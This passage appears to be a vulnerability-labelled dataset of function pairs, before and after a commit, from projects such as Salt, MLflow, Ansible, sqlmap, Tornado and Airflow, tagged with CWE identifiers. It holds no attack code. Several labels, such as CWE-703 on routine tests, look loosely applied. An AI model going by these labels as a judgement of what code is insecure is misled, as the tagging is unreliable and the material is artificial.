    if _six.PY3 and sys.version_info[0] == 3:
        # Get python 2 tops
        py_shell_cmd = (
            python2_bin + ' -c \'from __future__ import print_function; '
            'import sys; import json; import salt.utils.thin; '
            'print(json.dumps(salt.utils.thin.get_tops(**(json.loads(sys.argv[1]))), ensure_ascii=False)); exit(0);\' '
            '\'{0}\''.format(salt.utils.json.dumps({'extra_mods': extra_mods, 'so_mods': so_mods}))
        )
        cmd = subprocess.Popen(py_shell_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
        stdout, stderr = cmd.communicate()
        if cmd.returncode == 0:
            try:
                tops = salt.utils.json.loads(stdout.decode('utf-8'))
                tops_py_version_mapping['2'] = tops
            except ValueError:
                pass

    tfp = tarfile.open(mintar, 'w:gz', dereference=True)
    try:  # cwd may not exist if it was removed but salt was run from it
        start_dir = os.getcwd()
    except OSError:
        start_dir = None
    tempdir = None

    # This is the absolute minimum set of files required to run salt-call
    min_files = (
        'salt/__init__.py',
        'salt/utils',
        'salt/utils/__init__.py',
        'salt/utils/validate',
        'salt/utils/validate/__init__.py',
        'salt/utils/validate/path.py',
        'salt/utils/decorators',
        'salt/utils/decorators/__init__.py',
        'salt/utils/cache.py',
        'salt/utils/xdg.py',
        'salt/utils/odict.py',
        'salt/utils/minions.py',
        'salt/utils/dicttrim.py',
        'salt/utils/sdb.py',
        'salt/utils/migrations.py',
        'salt/utils/files.py',
        'salt/utils/parsers.py',
        'salt/utils/locales.py',
        'salt/utils/lazy.py',
        'salt/utils/s3.py',
        'salt/utils/dictupdate.py',
        'salt/utils/verify.py',
        'salt/utils/args.py',
        'salt/utils/kinds.py',
        'salt/utils/xmlutil.py',
        'salt/utils/debug.py',
        'salt/utils/jid.py',
        'salt/utils/openstack',
        'salt/utils/openstack/__init__.py',
        'salt/utils/openstack/swift.py',
        'salt/utils/async.py',
        'salt/utils/process.py',
        'salt/utils/jinja.py',
        'salt/utils/rsax931.py',
        'salt/utils/context.py',
        'salt/utils/minion.py',
        'salt/utils/error.py',
        'salt/utils/aws.py',
        'salt/utils/timed_subprocess.py',
        'salt/utils/zeromq.py',
        'salt/utils/schedule.py',
        'salt/utils/url.py',
        'salt/utils/yamlencoding.py',
        'salt/utils/network.py',
        'salt/utils/http.py',
        'salt/utils/gzip_util.py',
        'salt/utils/vt.py',
        'salt/utils/templates.py',
        'salt/utils/aggregation.py',
        'salt/utils/yaml.py',
        'salt/utils/yamldumper.py',
        'salt/utils/yamlloader.py',
        'salt/utils/event.py',
        'salt/serializers',
        'salt/serializers/__init__.py',
        'salt/serializers/yamlex.py',
        'salt/template.py',
        'salt/_compat.py',
        'salt/loader.py',
        'salt/client',
        'salt/client/__init__.py',
        'salt/ext',
        'salt/ext/__init__.py',
        'salt/ext/six.py',
        'salt/ext/ipaddress.py',
        'salt/version.py',
        'salt/syspaths.py',
        'salt/defaults',
        'salt/defaults/__init__.py',
        'salt/defaults/exitcodes.py',
        'salt/renderers',
        'salt/renderers/__init__.py',
        'salt/renderers/jinja.py',
        'salt/renderers/yaml.py',
        'salt/modules',
        'salt/modules/__init__.py',
        'salt/modules/test.py',
        'salt/modules/selinux.py',
        'salt/modules/cmdmod.py',
        'salt/minion.py',
        'salt/pillar',
        'salt/pillar/__init__.py',
        'salt/textformat.py',
        'salt/log',
        'salt/log/__init__.py',
        'salt/log/handlers',
        'salt/log/handlers/__init__.py',
        'salt/log/mixins.py',
        'salt/log/setup.py',
        'salt/cli',
        'salt/cli/__init__.py',
        'salt/cli/caller.py',
        'salt/cli/daemons.py',
        'salt/cli/salt.py',
        'salt/cli/call.py',
        'salt/fileserver',
        'salt/fileserver/__init__.py',
        'salt/transport',
        'salt/transport/__init__.py',
        'salt/transport/client.py',
        'salt/exceptions.py',
        'salt/grains',
        'salt/grains/__init__.py',
        'salt/grains/extra.py',
        'salt/scripts.py',
        'salt/state.py',
        'salt/fileclient.py',
        'salt/crypt.py',
        'salt/config.py',
        'salt/beacons',
        'salt/beacons/__init__.py',
        'salt/payload.py',
        'salt/output',
        'salt/output/__init__.py',
        'salt/output/nested.py',
    )

    for py_ver, tops in _six.iteritems(tops_py_version_mapping):
        for top in tops:
            base = os.path.basename(top)
            top_dirname = os.path.dirname(top)
            if os.path.isdir(top_dirname):
                os.chdir(top_dirname)
            else:
                # This is likely a compressed python .egg
                tempdir = tempfile.mkdtemp()
                egg = zipfile.ZipFile(top_dirname)
                egg.extractall(tempdir)
                top = os.path.join(tempdir, base)
                os.chdir(tempdir)
            if not os.path.isdir(top):
                # top is a single file module
                tfp.add(base, arcname=os.path.join('py{0}'.format(py_ver), base))
                continue
            for root, dirs, files in salt.utils.path.os_walk(base, followlinks=True):
                for name in files:
                    if name.endswith(('.pyc', '.pyo')):
                        continue
                    if root.startswith('salt') and os.path.join(root, name) not in min_files:
                        continue
                    tfp.add(os.path.join(root, name),
                            arcname=os.path.join('py{0}'.format(py_ver), root, name))
            if tempdir is not None:
                shutil.rmtree(tempdir)
                tempdir = None

    os.chdir(mindir)
    tfp.add('salt-call')
    with salt.utils.files.fopen(minver, 'w+') as fp_:
        fp_.write(salt.version.__version__)
    with salt.utils.files.fopen(pyminver, 'w+') as fp_:
        fp_.write(str(sys.version_info[0]))
    os.chdir(os.path.dirname(minver))
    tfp.add('version')
    tfp.add('.min-gen-py-version')
    if start_dir:
        os.chdir(start_dir)
    tfp.close()
    return mintar"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/store/db_migrations/versions/cbc13b556ace_add_v3_trace_schema_columns.py,0,"def upgrade():
    # Add V3 specific columns to trace_info table
    with op.batch_alter_table(""trace_info"", schema=None) as batch_op:
        batch_op.add_column(sa.Column(""client_request_id"", sa.String(length=50), nullable=True))
        batch_op.add_column(sa.Column(""request_preview"", sa.String(length=1000), nullable=True))
        batch_op.add_column(sa.Column(""response_preview"", sa.String(length=1000), nullable=True))",,mlflow/mlflow,e91b634d760d5445b3005466394f5b00cc47e744,"def upgrade():
    # Add V3 specific columns to trace_info table
    with op.batch_alter_table(""trace_info"", schema=None) as batch_op:
        batch_op.add_column(sa.Column(""client_request_id"", sa.String(length=50), nullable=True))
        batch_op.add_column(sa.Column(""request_preview"", sa.String(length=10000), nullable=True))
        batch_op.add_column(sa.Column(""response_preview"", sa.String(length=10000), nullable=True))"
,UNKNOWN,UNKNOWN,test/units/modules/network/f5/test_bigip_snmp.py,1,"def test_update_agent_status_traps(self, *args):
        set_module_args(dict(
            agent_status_traps='enabled',
            password='passsword',
            server='localhost',
            user='admin'
        ))

        # Configure the parameters that would be returned by querying the
        # remote device
        current = Parameters(
            params=dict(
                agent_status_traps='disabled'
            )
        )

        module = AnsibleModule(
            argument_spec=self.spec.argument_spec,
            supports_check_mode=self.spec.supports_check_mode
        )
        mm = ModuleManager(module=module)

        # Override methods to force specific logic in the module to happen
        mm.update_on_device = Mock(return_value=True)
        mm.read_current_from_device = Mock(return_value=current)

        results = mm.exec_module()

        assert results['changed'] is True
        assert results['agent_status_traps'] == 'enabled'","CWE-259, CWE-703",ansible/ansible,ca8982f96cec32c771b8c988a93f1481bc5e7b22,"def test_update_agent_status_traps(self, *args):
        set_module_args(dict(
            agent_status_traps='enabled',
            password='passsword',
            server='localhost',
            user='admin'
        ))

        # Configure the parameters that would be returned by querying the
        # remote device
        current = Parameters(
            dict(
                agent_status_traps='disabled'
            )
        )

        module = AnsibleModule(
            argument_spec=self.spec.argument_spec,
            supports_check_mode=self.spec.supports_check_mode
        )
        mm = ModuleManager(module=module)

        # Override methods to force specific logic in the module to happen
        mm.update_on_device = Mock(return_value=True)
        mm.read_current_from_device = Mock(return_value=current)

        results = mm.exec_module()

        assert results['changed'] is True
        assert results['agent_status_traps'] == 'enabled'"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/store/artifact/local_artifact_repo.py,0,"def download_artifacts(self, artifact_path, dst_path=None):
        """"""
        Artifacts tracked by ``LocalArtifactRepository`` already exist on the local filesystem.
        If ``dst_path`` is ``None``, the absolute filesystem path of the specified artifact is
        returned. If ``dst_path`` is not ``None``, the local artifact is copied to ``dst_path``.

        :param artifact_path: Relative source path to the desired artifacts.
        :param dst_path: Absolute path of the local filesystem destination directory to which to
                         download the specified artifacts. This directory must already exist. If
                         unspecified, the absolute path of the local artifact will be returned.

        :return: Absolute path of the local filesystem location containing the desired artifacts.
        """"""
        if dst_path:
            return super().download_artifacts(artifact_path, dst_path)
        # NOTE: The artifact_path is expected to be in posix format.
        # Posix paths work fine on windows but just in case we normalize it here.
        local_artifact_path = os.path.join(self.artifact_dir, os.path.normpath(artifact_path))
        if not os.path.exists(local_artifact_path):
            raise OSError(f""No such file or directory: '{local_artifact_path}'"")
        return os.path.abspath(local_artifact_path)",,mlflow/mlflow,9eeeff414d119c7df72b10da3dda8daf000d85ea,"def download_artifacts(self, artifact_path, dst_path=None):
        """"""
        Artifacts tracked by ``LocalArtifactRepository`` already exist on the local filesystem.
        If ``dst_path`` is ``None``, the absolute filesystem path of the specified artifact is
        returned. If ``dst_path`` is not ``None``, the local artifact is copied to ``dst_path``.

        :param artifact_path: Relative source path to the desired artifacts.
        :param dst_path: Absolute path of the local filesystem destination directory to which to
                         download the specified artifacts. This directory must already exist. If
                         unspecified, the absolute path of the local artifact will be returned.

        :return: Absolute path of the local filesystem location containing the desired artifacts.
        """"""
        if dst_path:
            return super().download_artifacts(artifact_path, dst_path)
        # NOTE: The artifact_path is expected to be in posix format.
        # Posix paths work fine on windows but just in case we normalize it here.
        local_artifact_path = os.path.join(self.artifact_dir, os.path.normpath(artifact_path))
        if not os.path.exists(local_artifact_path):
            raise OSError(""No such file or directory: '{}'"".format(local_artifact_path))
        return os.path.abspath(local_artifact_path)"
,UNKNOWN,UNKNOWN,tests/pyfunc/test_pyfunc_schema_enforcement.py,1,"def test_pyfunc_model_input_example_with_params(sample_params_basic, param_schema_basic):
    class MyModel(mlflow.pyfunc.PythonModel):
        def predict(self, context, model_input, params=None):
            if isinstance(model_input, pd.DataFrame):
                return model_input.values.tolist()[0]
            if isinstance(model_input, list):
                return model_input
            return [model_input]

    with mlflow.start_run():
        model_info = mlflow.pyfunc.log_model(
            python_model=MyModel(),
            artifact_path=""test_model"",
            input_example=([""input1"", ""input2"", ""input3""], sample_params_basic),
        )

    # Test _infer_signature_from_input_example
    assert model_info.signature.inputs == Schema([ColSpec(DataType.string)])
    assert model_info.signature.outputs == Schema([ColSpec(DataType.string)])
    assert model_info.signature.params == param_schema_basic

    # Test predict
    loaded_model = mlflow.pyfunc.load_model(model_info.model_uri)
    assert loaded_model.predict([""input1""]) == [""input1""]

    # Test model serving
    response = pyfunc_serve_and_score_model(
        model_info.model_uri,
        data=json.dumps({""inputs"": [""input1""]}),
        content_type=pyfunc_scoring_server.CONTENT_TYPE_JSON,
        extra_args=[""--env-manager"", ""local""],
    )
    assert response.status_code == 200, response.content
    result = json.loads(response.content.decode(""utf-8""))[""predictions""]
    assert result == [""input1""]",CWE-703,mlflow/mlflow,a450f86d1f30f7f0abffbd8d2972a422b3b0ef90,"def test_pyfunc_model_input_example_with_params(sample_params_basic, param_schema_basic):
    class MyModel(mlflow.pyfunc.PythonModel):
        def predict(self, context, model_input, params=None):
            if isinstance(model_input, pd.DataFrame):
                return model_input.values.tolist()[0]
            if isinstance(model_input, list):
                return model_input
            return [model_input]

    with mlflow.start_run():
        model_info = mlflow.pyfunc.log_model(
            python_model=MyModel(),
            artifact_path=""test_model"",
            input_example=([""input1""], sample_params_basic),
        )

    # Test _infer_signature_from_input_example
    # TODO: add this check back once we updated
    # _infer_signature_from_input_example for List[str]
    # assert model_info.signature.inputs == Schema([ColSpec(DataType.string)])
    assert model_info.signature.outputs == Schema([ColSpec(DataType.string)])
    assert model_info.signature.params == param_schema_basic

    # Test predict
    loaded_model = mlflow.pyfunc.load_model(model_info.model_uri)
    assert loaded_model.predict([""input1""]) == [""input1""]

    # Test model serving
    response = pyfunc_serve_and_score_model(
        model_info.model_uri,
        data=json.dumps({""inputs"": [""input1""]}),
        content_type=pyfunc_scoring_server.CONTENT_TYPE_JSON,
        extra_args=[""--env-manager"", ""local""],
    )
    assert response.status_code == 200, response.content
    result = json.loads(response.content.decode(""utf-8""))[""predictions""]
    assert result == [""input1""]"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/dbms/postgresql/fingerprint.py,0,"def forceDbmsEnum(self):
        if conf.db not in PGSQL_SYSTEM_DBS and conf.db != ""public"":
            conf.db = ""public""

            warnMsg = ""on %s it is possible to enumerate "" % DBMS.PGSQL
            warnMsg += ""only on the current schema and/or system databases. ""
            warnMsg += ""sqlmap is going to use 'public' schema as a ""
            warnMsg += ""database name""
            logger.warn(warnMsg)",,sqlmapproject/sqlmap,6c49af090c4ff68a47a65fff91d385639ead7f33,"def forceDbmsEnum(self):
        if conf.db not in PGSQL_SYSTEM_DBS and conf.db != ""public"":
            conf.db = ""public""

            warnMsg = ""on %s it is only possible to enumerate "" % DBMS.PGSQL
            warnMsg += ""on the current schema and on system databases, ""
            warnMsg += ""sqlmap is going to use 'public' schema as ""
            warnMsg += ""database name""
            logger.warn(warnMsg)"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/ioloop.py,0,"def set_blocking_signal_threshold(self, seconds, action):
        if not hasattr(signal, ""setitimer""):
            gen_log.error(""set_blocking_signal_threshold requires a signal module ""
                          ""with the setitimer method"")
            return
        self._blocking_signal_threshold = seconds
        if seconds is not None:
            signal.signal(signal.SIGALRM,
                          action if action is not None else signal.SIG_DFL)",CWE-Unknown,tornadoweb/tornado,7bb053594672b47ce4dea259aa29ea12e4d05918,"def set_blocking_signal_threshold(self, seconds, action):
        if not hasattr(signal, ""setitimer""):
            gen_log.error(""set_blocking_signal_threshold requires a signal module ""
                          ""with the setitimer method"")
            return
        self._blocking_signal_threshold = seconds
        if seconds is not None:
            signal.signal(signal.SIGALRM,
                          action if action is not None else signal.SIG_DFL)"
,UNKNOWN,UNKNOWN,salt/fileserver/gitfs.py,1,"def init():
    '''
    Return the git repo object for this session
    '''
    bp_ = os.path.join(__opts__['cachedir'], 'gitfs')
    provider = _get_provider()
    # ignore git ssl verification if requested
    ssl_verify = 'true' if __opts__.get('gitfs_ssl_verify', True) else 'false'
    new_remote = False
    repos = []
    gitfs_remotes = salt.utils.repack_dictlist(__opts__['gitfs_remotes'])
    for repo_uri, remote_conf_params in gitfs_remotes.iteritems():

        # Check repo_uri against the list of valid protocols
        if provider == 'pygit2':
            transport, _, uri = repo_uri.partition('://')
            if not uri:
                log.error('Invalid gitfs remote {0!r}'.format(repo_uri))
                continue
            elif transport.lower() not in PYGIT2_TRANSPORTS:
                log.error(
                    'Invalid transport {0!r} in gitfs remote {1!r}. Valid '
                    'transports for pygit2 provider: {2}'
                    .format(transport, repo_uri, ', '.join(PYGIT2_TRANSPORTS))
                )
                continue

        # Validate and compile per-remote configuration parameters, if present
        remote_conf = dict([(x, None) for x in PER_REMOTE_PARAMS])
        if remote_conf_params is not None:
            remote_conf_params = salt.utils.repack_dictlist(remote_conf_params)
            if not remote_conf_params:
                log.error(
                    'Invalid per-remote configuration for remote {0!r}'
                    .format(repo_uri)
                )
            else:
                for param, value in remote_conf_params.iteritems():
                    if param in PER_REMOTE_PARAMS:
                        remote_conf[param] = value
                    else:
                        log.error(
                            'Invalid configuration parameter {0!r} in remote '
                            '{1!r}. Valid parameters are: {2}. See the '
                            'documentation for further information.'
                            .format(
                                param, repo_uri, ', '.join(PER_REMOTE_PARAMS)
                            )
                        )
        try:
            remote_conf['mountpoint'] = _strip_proto(remote_conf['mountpoint'])
        except TypeError:
            # mountpoint not specified
            pass

        repo_hash = hashlib.md5(repo_uri).hexdigest()
        rp_ = os.path.join(bp_, repo_hash)
        if not os.path.isdir(rp_):
            os.makedirs(rp_)

        try:
            if provider == 'gitpython':
                repo, new = _init_gitpython(rp_, repo_uri, ssl_verify)
                if new:
                    new_remote = True
            elif provider == 'pygit2':
                repo, new = _init_pygit2(rp_, repo_uri, ssl_verify)
                if new:
                    new_remote = True
            elif provider == 'dulwich':
                repo, new = _init_dulwich(rp_, repo_uri, ssl_verify)
                if new:
                    new_remote = True
            else:
                # Should never get here because the provider has been verified
                # in __virtual__(). Log an error and return an empty list.
                log.error(
                    'Unexpected gitfs_provider {0!r}. This is probably a bug.'
                    .format(provider)
                )
                return []

            if repo is not None:
                remote_conf.update({
                    'repo': repo,
                    'uri': repo_uri,
                    'hash': repo_hash,
                    'cachedir': rp_
                })
                repos.append(remote_conf)

        except Exception as exc:
            msg = ('Exception caught while initializing the repo for gitfs: '
                   '{0}.'.format(exc))
            if provider == 'gitpython':
                msg += ' Perhaps git is not available.'
            log.error(msg)
            continue

    if new_remote:
        remote_map = os.path.join(__opts__['cachedir'], 'gitfs/remote_map.txt')
        try:
            with salt.utils.fopen(remote_map, 'w+') as fp_:
                timestamp = datetime.now().strftime('%d %b %Y %H:%M:%S.%f')
                fp_.write('# gitfs_remote map as of {0}\n'.format(timestamp))
                for remote_conf in repos:
                    fp_.write(
                        '{0} = {1}\n'.format(
                            remote_conf['hash'], remote_conf['uri']
                        )
                    )
        except OSError:
            pass
        else:
            log.info('Wrote new gitfs_remote map to {0}'.format(remote_map))

    return repos",CWE-327,saltstack/salt,1e07c99abdbe1d859832f45a0c3795e1853fd4cb,"def init():
    '''
    Return the git repo object for this session
    '''
    bp_ = os.path.join(__opts__['cachedir'], 'gitfs')
    provider = _get_provider()
    # ignore git ssl verification if requested
    ssl_verify = 'true' if __opts__.get('gitfs_ssl_verify', True) else 'false'
    new_remote = False
    repos = []
    gitfs_remotes = salt.utils.repack_dictlist(__opts__['gitfs_remotes'])
    for repo_uri, remote_conf_params in gitfs_remotes.iteritems():

        # Check repo_uri against the list of valid protocols
        if provider == 'pygit2':
            transport, _, uri = repo_uri.partition('://')
            if not uri:
                log.error('Invalid gitfs remote {0!r}'.format(repo_uri))
                continue
            elif transport.lower() not in PYGIT2_TRANSPORTS:
                log.error(
                    'Invalid transport {0!r} in gitfs remote {1!r}. Valid '
                    'transports for pygit2 provider: {2}'
                    .format(transport, repo_uri, ', '.join(PYGIT2_TRANSPORTS))
                )
                continue

        # Validate and compile per-remote configuration parameters, if present
        remote_conf = dict([(x, None) for x in PER_REMOTE_PARAMS])
        if remote_conf_params is not None:
            remote_conf_params = salt.utils.repack_dictlist(remote_conf_params)
            if not remote_conf_params:
                log.error(
                    'Invalid per-remote configuration for remote {0!r}'
                    .format(repo_uri)
                )
            else:
                for param, value in remote_conf_params.iteritems():
                    if param in PER_REMOTE_PARAMS:
                        remote_conf[param] = value
                    else:
                        log.error(
                            'Invalid configuration parameter {0!r} in remote '
                            '{1!r}. Valid parameters are: {2}. See the '
                            'documentation for further information.'
                            .format(
                                param, repo_uri, ', '.join(PER_REMOTE_PARAMS)
                            )
                        )
        try:
            remote_conf['mountpoint'] = _strip_proto(remote_conf['mountpoint'])
        except TypeError:
            # mountpoint not specified
            pass

        repo_hash = hashlib.md5(repo_uri).hexdigest()
        rp_ = os.path.join(bp_, repo_hash)
        if not os.path.isdir(rp_):
            os.makedirs(rp_)

        try:
            if provider == 'gitpython':
                repo, new = _init_gitpython(rp_, repo_uri, ssl_verify)
                if new:
                    new_remote = True
            elif provider == 'pygit2':
                repo, new = _init_pygit2(rp_, repo_uri, ssl_verify)
                if new:
                    new_remote = True
            elif provider == 'dulwich':
                repo, new = _init_dulwich(rp_, repo_uri, ssl_verify)
                if new:
                    new_remote = True
            else:
                # Should never get here because the provider has been verified
                # in __virtual__(). Log an error and return an empty list.
                log.error(
                    'Unexpected gitfs_provider {0!r}. This is probably a bug.'
                    .format(provider)
                )
                return []

            if repo is not None:
                remote_conf.update({
                    'repo': repo, 'uri': repo_uri, 'hash': repo_hash
                })
                repos.append(remote_conf)

        except Exception as exc:
            msg = ('Exception caught while initializing the repo for gitfs: '
                   '{0}.'.format(exc))
            if provider == 'gitpython':
                msg += ' Perhaps git is not available.'
            log.error(msg)
            continue

    if new_remote:
        remote_map = os.path.join(__opts__['cachedir'], 'gitfs/remote_map.txt')
        try:
            with salt.utils.fopen(remote_map, 'w+') as fp_:
                timestamp = datetime.now().strftime('%d %b %Y %H:%M:%S.%f')
                fp_.write('# gitfs_remote map as of {0}\n'.format(timestamp))
                for remote_conf in repos:
                    fp_.write(
                        '{0} = {1}\n'.format(
                            remote_conf['hash'], remote_conf['uri']
                        )
                    )
        except OSError:
            pass
        else:
            log.info('Wrote new gitfs_remote map to {0}'.format(remote_map))

    return repos"
,UNKNOWN,UNKNOWN,airflow/providers/microsoft/azure/hooks/wasb.py,1,"def get_ui_field_behaviour() -> dict[str, Any]:
        """"""Returns custom field behaviour.""""""
        return {
            ""hidden_fields"": [""schema"", ""port""],
            ""relabeling"": {
                ""login"": ""Blob Storage Login (optional)"",
                ""password"": ""Blob Storage Key (optional)"",
                ""host"": ""Account URL (Active Directory Auth)"",
            },
            ""placeholders"": {
                ""login"": ""account name"",
                ""password"": ""secret"",
                ""host"": ""account url"",
                ""connection_string"": ""connection string auth"",
                ""tenant_id"": ""tenant"",
                ""shared_access_key"": ""shared access key"",
                ""sas_token"": ""account url or token"",
                ""extra"": ""additional options for use with ClientSecretCredential or DefaultAzureCredential"",
            },
        }",CWE-259,apache/airflow,df74553ec484ad729fcd75ccbc1f5f18e7f34dc8,"def get_ui_field_behaviour() -> dict[str, Any]:
        """"""Returns custom field behaviour.""""""
        return {
            ""hidden_fields"": [""schema"", ""port""],
            ""relabeling"": {
                ""login"": ""Blob Storage Login (optional)"",
                ""password"": ""Blob Storage Key (optional)"",
                ""host"": ""Account Name (Active Directory Auth)"",
            },
            ""placeholders"": {
                ""login"": ""account name"",
                ""password"": ""secret"",
                ""host"": ""account url"",
                ""connection_string"": ""connection string auth"",
                ""tenant_id"": ""tenant"",
                ""shared_access_key"": ""shared access key"",
                ""sas_token"": ""account url or token"",
                ""extra"": ""additional options for use with ClientSecretCredential or DefaultAzureCredential"",
            },
        }"
,UNKNOWN,UNKNOWN,tests/providers/google/cloud/operators/test_cloud_sql.py,1,"def test_instance_create(self, mock_hook, _check_if_instance_exists):
        _check_if_instance_exists.return_value = False
        mock_hook.return_value.create_instance.return_value = True
        op = CloudSQLCreateInstanceOperator(
            project_id=PROJECT_ID, instance=INSTANCE_NAME, body=CREATE_BODY, task_id=""id""
        )
        op.execute(context={'task_instance': mock.Mock()})
        mock_hook.assert_called_once_with(
            api_version=""v1beta4"",
            gcp_conn_id=""google_cloud_default"",
            impersonation_chain=None,
        )
        mock_hook.return_value.create_instance.assert_called_once_with(
            project_id=PROJECT_ID, body=CREATE_BODY
        )",CWE-703,apache/airflow,37681bca0081dd228ac4047c17631867bba7a66f,"def test_instance_create(self, mock_hook, _check_if_instance_exists):
        _check_if_instance_exists.return_value = False
        mock_hook.return_value.create_instance.return_value = True
        op = CloudSQLCreateInstanceOperator(
            project_id=PROJECT_ID, instance=INSTANCE_NAME, body=CREATE_BODY, task_id=""id""
        )
        result = op.execute(
            context={'task_instance': mock.Mock()}  # pylint: disable=assignment-from-no-return
        )
        mock_hook.assert_called_once_with(
            api_version=""v1beta4"",
            gcp_conn_id=""google_cloud_default"",
            impersonation_chain=None,
        )
        mock_hook.return_value.create_instance.assert_called_once_with(
            project_id=PROJECT_ID, body=CREATE_BODY
        )
        assert result is None"
,UNKNOWN,UNKNOWN,tests/store/model_registry/test_sqlalchemy_store.py,1,"def test_search_registered_models(self):
        # create some registered models
        prefix = ""test_for_search_""
        names = [prefix + name for name in [""RM1"", ""RM2"", ""RM3"", ""RM4"", ""RM4A"", ""RM4ab""]]
        for name in names:
            self._rm_maker(name)

        # search with no filter should return all registered models
        rms, _ = self._search_registered_models(None)
        assert rms == names

        # equality search using name should return exactly the 1 name
        rms, _ = self._search_registered_models(""name='{}'"".format(names[0]))
        assert rms == [names[0]]

        # equality search using name that is not valid should return nothing
        rms, _ = self._search_registered_models(""name='{}'"".format(names[0] + ""cats""))
        assert rms == []

        # case-sensitive prefix search using LIKE should return all the RMs
        rms, _ = self._search_registered_models(f""name LIKE '{prefix}%'"")
        assert rms == names

        # case-sensitive prefix search using LIKE with surrounding % should return all the RMs
        rms, _ = self._search_registered_models(""name LIKE '%RM%'"")
        assert rms == names

        # case-sensitive prefix search using LIKE with surrounding % should return all the RMs
        # _e% matches test_for_search_ , so all RMs should match
        rms, _ = self._search_registered_models(""name LIKE '_e%'"")
        assert rms == names

        # case-sensitive prefix search using LIKE should return just rm4
        rms, _ = self._search_registered_models(""name LIKE '{}%'"".format(prefix + ""RM4A""))
        assert rms == [names[4]]

        # case-sensitive prefix search using LIKE should return no models if no match
        rms, _ = self._search_registered_models(""name LIKE '{}%'"".format(prefix + ""cats""))
        assert rms == []

        # confirm that LIKE is not case-sensitive
        rms, _ = self._search_registered_models(""name lIkE '%blah%'"")
        assert rms == []

        rms, _ = self._search_registered_models(""name like '{}%'"".format(prefix + ""RM4A""))
        assert rms == [names[4]]

        # case-insensitive prefix search using ILIKE should return both rm5 and rm6
        rms, _ = self._search_registered_models(""name ILIKE '{}%'"".format(prefix + ""RM4A""))
        assert rms == names[4:]

        # case-insensitive postfix search with ILIKE
        rms, _ = self._search_registered_models(""name ILIKE '%RM4a%'"")
        assert rms == names[4:]

        # case-insensitive prefix search using ILIKE should return both rm5 and rm6
        rms, _ = self._search_registered_models(""name ILIKE '{}%'"".format(prefix + ""cats""))
        assert rms == []

        # confirm that ILIKE is not case-sensitive
        rms, _ = self._search_registered_models(""name iLike '%blah%'"")
        assert rms == []

        # confirm that ILIKE works for empty query
        rms, _ = self._search_registered_models(""name iLike '%%'"")
        assert rms == names

        rms, _ = self._search_registered_models(""name ilike '%RM4a%'"")
        assert rms == names[4:]

        # cannot search by invalid comparator types
        with pytest.raises(
            MlflowException,
            match=""Parameter value is either not quoted or unidentified quote types used for ""
            ""string value something"",
        ) as exception_context:
            self._search_registered_models(""name!=something"")
        assert exception_context.value.error_code == ErrorCode.Name(INVALID_PARAMETER_VALUE)

        # cannot search by run_id
        with pytest.raises(
            MlflowException, match=r""Invalid attribute key 'run_id' specified.""
        ) as exception_context:
            self._search_registered_models(""run_id='%s'"" % ""somerunID"")
        assert exception_context.value.error_code == ErrorCode.Name(INVALID_PARAMETER_VALUE)

        # cannot search by source_path
        with pytest.raises(
            MlflowException, match=r""Invalid attribute key 'source_path' specified.""
        ) as exception_context:
            self._search_registered_models(""source_path = 'A/D'"")
        assert exception_context.value.error_code == ErrorCode.Name(INVALID_PARAMETER_VALUE)

        # cannot search by other params
        with pytest.raises(
            MlflowException, match=r""Invalid clause\(s\) in filter string""
        ) as exception_context:
            self._search_registered_models(""evilhax = true"")
        assert exception_context.value.error_code == ErrorCode.Name(INVALID_PARAMETER_VALUE)

        # delete last registered model. search should not return the first 5
        self.store.delete_registered_model(name=names[-1])
        assert self._search_registered_models(None, max_results=1000) == (names[:-1], None)

        # equality search using name should return no names
        assert self._search_registered_models(""name='{}'"".format(names[-1])) == ([], None)

        # case-sensitive prefix search using LIKE should return all the RMs
        assert self._search_registered_models(f""name LIKE '{prefix}%'"") == (
            names[0:5],
            None,
        )

        # case-insensitive prefix search using ILIKE should return both rm5 and rm6
        assert self._search_registered_models(""name ILIKE '{}%'"".format(prefix + ""RM4A"")) == (
            [names[4]],
            None,
        )",CWE-703,mlflow/mlflow,9eeeff414d119c7df72b10da3dda8daf000d85ea,"def test_search_registered_models(self):
        # create some registered models
        prefix = ""test_for_search_""
        names = [prefix + name for name in [""RM1"", ""RM2"", ""RM3"", ""RM4"", ""RM4A"", ""RM4ab""]]
        for name in names:
            self._rm_maker(name)

        # search with no filter should return all registered models
        rms, _ = self._search_registered_models(None)
        assert rms == names

        # equality search using name should return exactly the 1 name
        rms, _ = self._search_registered_models(""name='{}'"".format(names[0]))
        assert rms == [names[0]]

        # equality search using name that is not valid should return nothing
        rms, _ = self._search_registered_models(""name='{}'"".format(names[0] + ""cats""))
        assert rms == []

        # case-sensitive prefix search using LIKE should return all the RMs
        rms, _ = self._search_registered_models(""name LIKE '{}%'"".format(prefix))
        assert rms == names

        # case-sensitive prefix search using LIKE with surrounding % should return all the RMs
        rms, _ = self._search_registered_models(""name LIKE '%RM%'"")
        assert rms == names

        # case-sensitive prefix search using LIKE with surrounding % should return all the RMs
        # _e% matches test_for_search_ , so all RMs should match
        rms, _ = self._search_registered_models(""name LIKE '_e%'"")
        assert rms == names

        # case-sensitive prefix search using LIKE should return just rm4
        rms, _ = self._search_registered_models(""name LIKE '{}%'"".format(prefix + ""RM4A""))
        assert rms == [names[4]]

        # case-sensitive prefix search using LIKE should return no models if no match
        rms, _ = self._search_registered_models(""name LIKE '{}%'"".format(prefix + ""cats""))
        assert rms == []

        # confirm that LIKE is not case-sensitive
        rms, _ = self._search_registered_models(""name lIkE '%blah%'"")
        assert rms == []

        rms, _ = self._search_registered_models(""name like '{}%'"".format(prefix + ""RM4A""))
        assert rms == [names[4]]

        # case-insensitive prefix search using ILIKE should return both rm5 and rm6
        rms, _ = self._search_registered_models(""name ILIKE '{}%'"".format(prefix + ""RM4A""))
        assert rms == names[4:]

        # case-insensitive postfix search with ILIKE
        rms, _ = self._search_registered_models(""name ILIKE '%RM4a%'"")
        assert rms == names[4:]

        # case-insensitive prefix search using ILIKE should return both rm5 and rm6
        rms, _ = self._search_registered_models(""name ILIKE '{}%'"".format(prefix + ""cats""))
        assert rms == []

        # confirm that ILIKE is not case-sensitive
        rms, _ = self._search_registered_models(""name iLike '%blah%'"")
        assert rms == []

        # confirm that ILIKE works for empty query
        rms, _ = self._search_registered_models(""name iLike '%%'"")
        assert rms == names

